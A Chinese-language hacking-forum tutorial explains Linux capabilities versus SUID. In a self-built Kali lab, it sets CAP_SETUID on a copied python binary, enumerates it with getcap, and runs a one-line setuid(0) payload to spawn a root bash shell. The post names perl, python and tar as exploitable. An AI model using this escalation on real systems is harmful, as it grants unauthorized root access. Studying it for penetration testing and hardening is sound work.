setcap設定的檔案可控造成的提權

twhackteam

Administrator
站方人員
能力介紹
Linux中的功能是什麼


在獲得功能之前,我們只有特權和非特權程序的二進位系統,並且出於執行權限檢查的目的,傳統的UNIX實作將進程分為兩類:特權程序(稱為超級用戶或根)和非特權程序(其有效UID為非零)。


功能是將核心使用者或核心級程式的特權分成小塊的那些權限,以便可以使進程有足夠的能力執行特定的特權任務。


功能和SUID之間的區別


SUID: SUID代表設定的使用者ID,並允許使用者以檔案擁有者的身分執行檔案。這被定義為授予使用者臨時權限,使其在檔案擁有者(而不是運行檔案擁有者)的權限下運行程式/檔案。使用“查找”命令可以輕鬆檢測。要查找在目前目錄中設定了SUID的所有文件,我們可以使用-perm選項,該選項將僅列印許可權設定為4000的文件(允許進程暫時使用root的權限執行)


給予某個文件擁有臨時權限的命令
範例:

<span>chmod</span> u+s /usr/bin/python<br>

使用find指令可以找出SUID檔

find / -perm -u=s -type f <span>2</span>> ;<span>/dev/</span><span>null</span><br>


setcap設定的檔案可控製造成的提權-1.png



setcap詳解:setcap詳解- 農夫運維- 博客園
setcap簡要說明:

Capabilities的主要思想在於分割root用戶的特權,即將root的特權分割成不同的能力,每種能力代表一定的特權操作。例如:能力<span>CAP_SYS_MODULE</span>表示使用者能夠載入(或卸載)核心模組的特權操作,而<span>CAP_SETUID</span>表示使用者能夠修改進程使用者身分的特權操作。在Capbilities中系統將根據進程擁有的能力來進行特權操作的存取控制。 <br>
getcap:檢索setcap所設定的檔案

getcap -r / <span>2</span>><span>/dev/</span><span>null</span><br>

setcap設定的檔案可控製造成的提權-2.png



OS:kali<br>測試使用者:root、<span>test</span><br>

先用root使用者給予python SUID

<span>chmod</span> u+s /usr/bin/python<br>

查找一波對應的SUID權限的檔案,決定是否給予成功

find / -perm -u=s -type f <span>2</span>><span>/dev/</span><span>null</span><br>



setcap設定的檔案可控製造成的提權-3.png




複製python到/tmp目錄下,擬態和文章類似的構造

<span>cp</span> /usr/bin/python<br>


setcap設定的檔案可控製造成的提權-4.png




setcap給予tmp目錄下的python一個使用者暫時執行權限


<span>setcap</span> CAP_SETUID+ep /tmp/python<br>

setcap設定的檔案可控製造成的提權-5.png



切換至test用戶,執行以下指令即可取得root權限


<span>getcap</span> -r / 2>/dev/null <span>#查詢被賦予權限的檔案</span><br>


setcap設定的檔案可控製造成的提權-6.png


./python -c <span>'import os;os.setuid(0);os.system("/bin/bash")'</span><br>
  • 1


setcap設定的檔案可控製造成的提權-7.png




getcap -r / 2>/dev/null #查詢被賦予CAP_SETUID權限的文件,以取得某些文件是否有利用的價值。目前得出可以利用的幾個

<span>perl</span><br>python<br>tar
 
返回
上方